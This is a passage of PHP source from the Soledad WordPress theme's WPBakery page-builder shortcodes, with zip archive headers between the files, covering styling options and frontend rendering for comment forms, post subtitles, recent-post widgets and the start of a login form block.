	$css_custom .= $block_id . ' #respond textarea, ' . $block_id . ' #respond input{border-color:' . $settings['commentf_input_border_color'] . ';}';
}
if ( $settings['commentf_submit_bg_color'] ) {
	$css_custom .= $block_id . ' #respond #submit{background-color:' . $settings['commentf_submit_bg_color'] . ';}';
}
if ( $settings['commentf_submit_bg_hcolor'] ) {
	$css_custom .= $block_id . ' #respond #submit:hover{background-color:' . $settings['commentf_submit_bg_color'] . ';}';
}
if ( $settings['commentf_submit_txt_color'] ) {
	$css_custom .= $block_id . ' #respond #submit{color:' . $settings['commentf_submit_txt_color'] . ';}';
}
if ( $settings['commentf_submit_txt_hcolor'] ) {
	$css_custom .= $block_id . ' #respond #submit:hover{color:' . $settings['commentf_submit_txt_hcolor'] . ';}';
}
if ( $settings['commentf_cookies_notice_color'] ) {
	$css_custom .= $block_id . ' #respond .comment-form-cookies-consent{color:' . $settings['commentf_cookies_notice_color'] . ';}';
}
if ( $settings['commentf_gdpr_text_color'] ) {
	$css_custom .= $block_id . ' #respond .penci-gdpr-message{color:' . $settings['commentf_gdpr_text_color'] . ';}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\(%    6  js_composer/shortcodes/pc_single_subtitle/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_subtitle",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_subtitle/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Sub Title', 'soledad' ),
	'description'   => 'Post Builder - Sub Title',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Title Markup', 'soledad' ),
			'param_name'       => 'heading_markup',
			'value'            => array(
				'H1' => 'h1',
				'H2' => 'h2',
				'H3' => 'h3',
				'H4' => 'h4',
				'H5' => 'h5',
				'H6' => 'h6',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Heading Align', 'soledad' ),
			'param_name'       => 'heading_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Main Text Color', 'soledad' ),
			'param_name'       => 'main_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => __( 'Custom Font Family for Post Sub Title', 'soledad' ),
			'param_name'       => 'use_ptitle_typo',
			'value'            => 'no',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'main_text_font',
			'value'      => '',
			'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\kp    6  js_composer/shortcodes/pc_single_subtitle/frontend.phpnu [        <?php
$settings    = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id    = Penci_Vc_Helper::get_unique_id_block( 'pc_single_subtitle' );
$css_custom  = '';
$heading_tag = $settings['heading_markup'];
$sub_title   = get_post_meta( get_the_ID(), 'penci_post_sub_title', true );
$css_class   = vc_shortcode_custom_css_class( $settings['css'] );
if ( $sub_title ) {
	echo '<' . $heading_tag . ' class="penci-psub-title ' . $css_class . '" id="' . $block_id . '"><span>' . $sub_title . '</span></' . $heading_tag . '>';
}
$css      = [
	'heading_align'   => [ '{{WRAPPER}} .penci-psub-title' => 'text-align:{{VALUE}}' ],
	'main-text-color' => [ '{{WRAPPER}} .penci-psub-title' => 'color:{{VALUE}} !important' ],
];
$typo_css = Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => '#' . $block_id . '  .penci-psub-title{ %s }',
) );
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id, $typo_css );
PK     0w\{9  9  0  js_composer/shortcodes/recent_posts/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
    'base'          => 'penci_recent_posts',
    'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
    'category'      => penci_get_theme_name('Soledad'),
    'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/recent_posts/frontend.php',
    'weight'        => 700,
    'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Widget Recent/Popular Posts', 'soledad' ),
    'description'   => __( 'Recent Posts Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
            array(
                'type'        => 'loop',
                'heading'     => '',
                'param_name'  => 'build_query',
                'value'       => 'post_type:post|size:10',
                'settings'    => array(
                    'size'      => array( 'value' => 10, 'hidden' => false ),
                    'post_type' => array( 'value' => 'post', 'hidden' => false )
                ),
                'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
            ),
            array(
                'type'       => 'textfield',
                'heading'    => esc_html__( 'Custom words length for post titles', 'soledad' ),
                'param_name' => 'title_length',
                'description'     => __( 'If your post titles is too long - You can use this option for trim it. Fill number value here.', 'soledad' ),
            ),
            array(
                'type' => 'dropdown',
                'heading' => __('Image Size Type', 'soledad'),
                'value' => array(
                    'Default' => '',
                    'Horizontal Size' => 'horizontal',
                    'Square Size' => 'square',
                    'Vertical Size' => 'vertical',
                    'Custom' => 'custom',
                ),
                'std' => 'horizontal',
                'param_name' => 'penci_size',
            ),
            array(
                'type'             => 'penci_only_number',
                'heading'          => esc_html__( 'Image Ratio.Unit is %. E.g: 50', 'soledad' ),
                'param_name'       => 'penci_img_ratio',
                'value'            => '',
                'std'              => '',
                'min'              => 0,
                'max'              => 100,
                'suffix'           => '%',
                'edit_field_class' => 'vc_col-sm-6',
                'dependency' => array( 'element' => 'penci_size', 'value' => 'custom' ),
            ),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Custom Image Size', 'soledad' ),
				'value'            => array(
					'Default' => '',
					'Thumbnail - 150 x 150' => 'thumbnail',
					'Medium - 300 x 300' => 'medium',
					'Medium Large - 768 x auto' => 'medium_large',
					'Large - 1024 x 1024' => 'large',
					'Penci-single-full - 1920 x auto' => 'penci-single-full',
					'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
					'Penci-full-thumb - 1170 x auto' => 'penci-full-thumb',
					'Penci-slider-thumb - 1170 x 663' => 'penci-slider-thumb',
					'Penci-magazine-slider - 780 x 516' => 'penci-magazine-slider',
					'Penci-thumb - 585 x 390' => 'penci-thumb',
					'Penci-masonry-thumb - 585 x auto' => 'penci-masonry-thumb',
					'Penci-thumb-square - 585 x 585' => 'penci-thumb-square',
					'Penci-thumb-vertical - 480 x 650' => 'penci-thumb-vertical',
					'Penci-thumb-small - 263 x 175' => 'penci-thumb-small',
					'Full' => 'full',
				),
				'param_name'       => 'thumb_size',
				'dependency'       => array( 'element' => 'penci_size', 'value' => 'custom' ),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Custom Image Size for Featured Posts', 'soledad' ),
				'value'            => array(
					'Default'                              => '',
					'Thumbnail - 150 x 150'                => 'thumbnail',
					'Medium - 300 x 300'                   => 'medium',
					'Medium Large - 768 x auto'            => 'medium_large',
					'Large - 1024 x 1024'                  => 'large',
					'Penci-single-full - 1920 x auto'      => 'penci-single-full',
					'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
					'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
					'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
					'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
					'Penci-thumb - 585 x 390'              => 'penci-thumb',
					'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
					'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
					'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
					'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
					'Full'                                 => 'full',
				),
				'param_name'       => 'thumb_bigsize',
				'dependency'       => array( 'element' => 'penci_size', 'value' => 'custom' ),
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide thumbnail?', 'soledad' ),
				'param_name' => 'hide_thumb',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Display thumbnail on right?', 'soledad' ),
				'param_name' => 'thumbright',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => esc_html__( 'Display on 2 columns?', 'soledad' ),
				'param_name'       => 'twocolumn',
                'description'     => __( 'If you use 2 columns option, it will ignore option display thumbnail on right.', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
            ),
            array(
                'type'       => 'penci_switch',
                'heading'    => esc_html__( 'Display 1st post featured?', 'soledad' ),
                'param_name' => 'featured',
                'true_state'       => 'yes',
                'false_state'      => 'no',
                'default'          => 'no',
                'std'              => 'no',
            ),
            array(
	            'type'       => 'penci_switch',
	            'heading'    => esc_html__( 'Display featured post style 2?', 'soledad' ),
	            'param_name' => 'featured2',
	            'true_state'       => 'yes',
	            'false_state'      => 'no',
	            'default'          => 'no',
	            'std'              => 'no',
            ),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Display all post featured?', 'soledad' ),
				'param_name'  => 'allfeatured',
				'description' => __( 'If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Show author name?', 'soledad' ),
				'param_name' => 'show_author',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide post date?', 'soledad' ),
				'param_name' => 'hide_postdate',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Show Comment Count?', 'soledad' ),
				'param_name' => 'show_comment',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Show Post Views?', 'soledad' ),
				'param_name' => 'show_postviews',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Enable icon post format?', 'soledad' ),
				'param_name' => 'icon_format',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Show the order numbers?', 'soledad' ),
				'param_name' => 'ordernum',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide Border at The Bottom?', 'soledad' ),
				'param_name' => 'showborder',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'        => 'penci_responsive_sizes',
				'param_name'  => 'imgwidth',
				'heading'     => __( 'Custom Image Width', 'soledad' ),
				'description' => __( 'This option doesn\'t apply for featured posts.', 'soledad' ),
				'value'       => '',
				'std'         => '',
				'suffix'      => 'px',
				'min'         => 1,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'row_gap',
				'heading'    => __( 'Custom Rows Gap Between Post Items', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
        array(
            array(
                'type'             => 'textfield',
                'param_name'       => 'heading_ptittle_settings',
                'heading'          => esc_html__( 'General Posts', 'soledad' ),
                'value'            => '',
                'group'            => $group_color,
                'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
            ),
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Border Color', 'soledad' ),
                'param_name'       => 'post_border_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            // Post title
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
                'param_name'       => 'ptitle_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
                'param_name'       => 'ptitle_hcolor',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_responsive_sizes',
                'param_name'       => 'ptitle_fsize',
                'heading'          => __( 'Font Size for Post Title', 'soledad' ),
                'value'            => '',
                'std'              => '',
                'suffix'           => 'px',
                'min'              => 1,
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_switch',
                'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
                'param_name'       => 'use_ptitle_typo',
                'default'          => 'no',
                'std'              => 'no',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'       => 'google_fonts',
                'group'      => $group_color,
                'param_name' => 'ptitle_typo',
                'value'      => '',
                'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
            ),
            array(
                'type'       => 'penci_separator',
                'param_name' => 'penci_separator1',
                'group'      => $group_color,
            ),
            // Post meta
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
                'param_name'       => 'pmeta_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_responsive_sizes',
                'param_name'       => 'pmeta_fsize',
                'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
                'value'            => '',
                'std'              => '',
                'suffix'           => 'px',
                'min'              => 1,
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_switch',
                'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
                'param_name'       => 'use_pmeta_typo',
                'default'          => 'no',
                'std'              => 'no',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'       => 'google_fonts',
                'group'      => $group_color,
                'param_name' => 'pmeta_typo',
                'value'      => '',
                'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
            ),
        ),
		Penci_Vc_Params_Helper::extra_params(),
		Penci_Vc_Params_Helper::params_bookmark_icon()
	)
) );
PK     0w\܇YB6  B6  0  js_composer/shortcodes/recent_posts/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$title_page          = $page_url = $page_height = $hide_faces = $hide_stream = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = '';

$build_query  = $penci_img_ratio = $post_border_color = '';
$ptitle_color = $ptitle_hcolor = $ptitle_fsize = $use_ptitle_typo = $ptitle_typo = '';
$pmeta_color  = $pmeta_hcolor = $pmeta_fsize = $use_pmeta_typo = $pmeta_typo = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$query_args = penci_build_args_query( $build_query );
$loop       = new WP_Query( $query_args );

if ( ! $loop->have_posts() ) {
	return;
}

$penci_size    = isset( $atts['penci_size'] ) ? $atts['penci_size'] : '';
$thumb_size    = isset( $atts['thumb_size'] ) ? $atts['thumb_size'] : '';
$thumb_bigsize = isset( $atts['thumb_bigsize'] ) ? $atts['thumb_bigsize'] : '';

$rand = rand( 100, 10000 );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci_recent-posts-sc';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'recent_posts' );

$title_length = intval( $atts['title_length'] );
$featured     = 'yes' == $atts['featured'] ? true : false;
$twocolumn    = 'yes' == $atts['twocolumn'] ? true : false;
$featured2    = 'yes' == $atts['featured2'] ? true : false;
$allfeatured  = 'yes' == $atts['allfeatured'] ? true : false;
$thumbright   = 'yes' == $atts['thumbright'] ? true : false;
$postdate     = 'yes' == $atts['hide_postdate'] ? true : false;
$icon         = 'yes' == $atts['icon_format'] ? true : false;
$hide_thumb   = 'yes' == $atts['hide_thumb'] ? true : false;
$showauthor   = 'yes' == $atts['show_author'] ? true : false;
$showcomment  = 'yes' == $atts['show_comment'] ? true : false;
$showviews    = 'yes' == $atts['show_postviews'] ? true : false;
$ordernum     = 'yes' == $atts['ordernum'] ? true : false;
$showborder   = 'yes' == $atts['showborder'] ? true : false;
$row_gap      = isset( $atts['row_gap'] ) ? $atts['row_gap'] : '';
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <ul id="penci-latestwg-<?php echo sanitize_text_field( $rand ); ?>"
                class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
				    if ( $featured ) {
					    echo ' penci-2columns-featured';
				    } else {
					    echo ' penci-2columns-feed';
				    } endif; ?>">
				<?php $num = 1;
				while ( $loop->have_posts() ) : $loop->the_post(); ?>
                    <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
						if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
						<?php if ( $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                            <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
							<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
						</span>
						<?php endif; ?>
                        <div class="side-item">
							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
									<?php
									$size_pie = 'small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
									do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
									/* Display Review Piechart  */
									if ( function_exists( 'penci_display_piechart_review_html' ) ) {
										penci_display_piechart_review_html( get_the_ID(), $size_pie );
									}

									$thumb = penci_featured_images_size( 'small' );
									if ( 'horizontal' == $penci_size ) {
										$thumb = 'penci-thumb-small';
									} else if ( 'square' == $penci_size ) {
										$thumb = 'penci-thumb-square';
									} else if ( 'vertical' == $penci_size ) {
										$thumb = 'penci-thumb-vertical';
									} else if ( 'custom' == $penci_size ) {
										if ( $thumb_size ) {
											$thumb = $thumb_size;
										}
									}
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
										$thumb = penci_featured_images_size();
										if ( 'horizontal' == $penci_size ) {
											$thumb = 'penci-thumb';
										} else if ( 'square' == $penci_size ) {
											$thumb = 'penci-thumb-square';
										} else if ( 'vertical' == $penci_size ) {
											$thumb = 'penci-thumb-vertical';
										} else if ( 'custom' == $penci_size ) {
											if ( $thumb_bigsize ) {
												$thumb = $thumb_bigsize;
											}
										}
									}
									?>
									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <a class="penci-image-holder penci-lazy<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											echo '';
										} else {
											echo ' small-fix-size';
										} ?>" rel="bookmark"
                                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                                           href="<?php the_permalink(); ?>"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
									<?php } else { ?>
                                        <a class="penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											echo '';
										} else {
											echo ' small-fix-size';
										} ?>" rel="bookmark"
                                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                                           href="<?php the_permalink(); ?>"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
									<?php } ?>

									<?php if ( $icon ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
										<?php endif; ?>
									<?php endif; ?>
                                </div>
							<?php endif; ?>
                            <div class="side-item-text">
                                <h4 class="side-title-post">
                                    <a href="<?php the_permalink() ?>" rel="bookmark"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php
										if ( ! $title_length || ! is_numeric( $title_length ) ) {
											if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
											} else {
												the_title();
											}
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										}
										?>
                                    </a>
                                </h4>
								<?php if ( ! $postdate || $showauthor || $showcomment || $showviews ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta">
										<?php if ( $showauthor ): ?>
                                            <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        class="url fn n"
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $postdate ): ?>
                                            <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( $showcomment ): ?>
                                            <span class="side-item-meta side-wcomments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php if ( $showviews ): ?>
                                            <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </li>
					<?php $num ++; endwhile; ?>
            </ul>
			<?php
			wp_reset_postdata();
			?>
        </div>
    </div>
<?php

$id_recent_posts  = '#' . $block_id;
$id_recent_posts2 = '#' . $block_id;
$css_custom       = Penci_Vc_Helper::get_heading_block_css( $id_recent_posts, $atts );

if ( 'horizontal' == $penci_size ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed .penci-image-holder:before{ padding-top: 66.6667%; }';
}
if ( 'square' == $penci_size ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed .penci-image-holder:before{ padding-top: 100%; }';
}
if ( 'vertical' == $penci_size ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed .penci-image-holder:before{ padding-top: 135.4%; }';
}
if ( 'custom' == $penci_size && $penci_img_ratio ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_recent_posts . ' ul.side-newsfeed .penci-image-holder:before{ padding-top: {{VALUE}}%; }', $penci_img_ratio );
}
if ( $post_border_color ) {
	$css_custom .= $id_recent_posts2 . ' ul.side-newsfeed li{ border-color: ' . esc_attr( $post_border_color ) . ' !important;}';
}
if ( $ptitle_color ) {
	$css_custom .= $id_recent_posts2 . ' ul.side-newsfeed li .side-item .side-item-text h4 a,';
	$css_custom .= $id_recent_posts2 . ' ul.side-newsfeed li .side-item .side-item-text h4{ color: ' . esc_attr( $ptitle_color ) . ' !important;}';
}
if ( $ptitle_hcolor ) {
	$css_custom .= $id_recent_posts2 . ' ul.side-newsfeed li .side-item .side-item-text h4 a:hover{ color: ' . esc_attr( $ptitle_hcolor ) . ' !important;}';
}
if ( $showborder ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed:not(.penci-feed-2columns) li{ border-bottom: none; padding-bottom: 0 !important; }';
}
if ( $imgwidth ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed li .penci-image-holder.small-fix-size{ width: ' . $imgwidth . '; }';
}
if ( $row_gap ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_recent_posts . ' ul.side-newsfeed:not(.penci-feed-2columns) li{ margin-bottom: {{VALUE}}px; padding-bottom: {{VALUE}}px; }', $row_gap );
	$css_custom .= penci_extract_md_responsive_fsize( $id_recent_posts . ' ul.penci-feed-2columns li{ margin-bottom: {{VALUE}}px;}', $row_gap );
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $ptitle_fsize,
	'font_style' => 'yes' == $use_ptitle_typo ? $ptitle_typo : '',
	'template'   => "{$id_recent_posts} ul.side-newsfeed li .side-item .side-item-text h4 a,{$id_recent_posts} ul.side-newsfeed li .side-item .side-item-text h4" . '{ %s }',
) );

if ( $pmeta_color ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed li .side-item .side-item-text .side-item-meta { color: ' . esc_attr( $pmeta_color ) . ' !important;}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $pmeta_fsize,
	'font_style' => 'yes' == $use_pmeta_typo ? $pmeta_typo : '',
	'template'   => "{$id_recent_posts} ul.side-newsfeed li .side-item .side-item-text .side-item-meta" . '{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_recent_posts, $responsive_spacing );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $id_recent_posts, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\tMӼ    .  js_composer/shortcodes/login_form/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_login_form",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/login_form/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Login/Register Form', 'soledad' ),
	'description'   => 'Login/Register Form Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Choose Form Type', 'soledad' ),
				'param_name' => 'form_style',
				'description' => esc_html__( 'Please note that when a user is logged in, the registration form will be hidden. And if you select to show "Register" form, you need to go to Dashboard > Settings > General > on "Membership" select "Anyone can register" to make the Register form displays.', 'soledad' ),
				'std'        => '',
				'value'      => array(
					esc_html__( 'Login', 'soledad' )    => 'login',
					esc_html__( 'Register', 'soledad' ) => 'register',
				)
			)
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'color_genral_css',
				'heading'          => esc_html__( 'Form colors', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text color', 'soledad' ),
				'param_name'       => 'form_text_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Input Text Color', 'soledad' ),
				'param_name'       => 'form_input_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
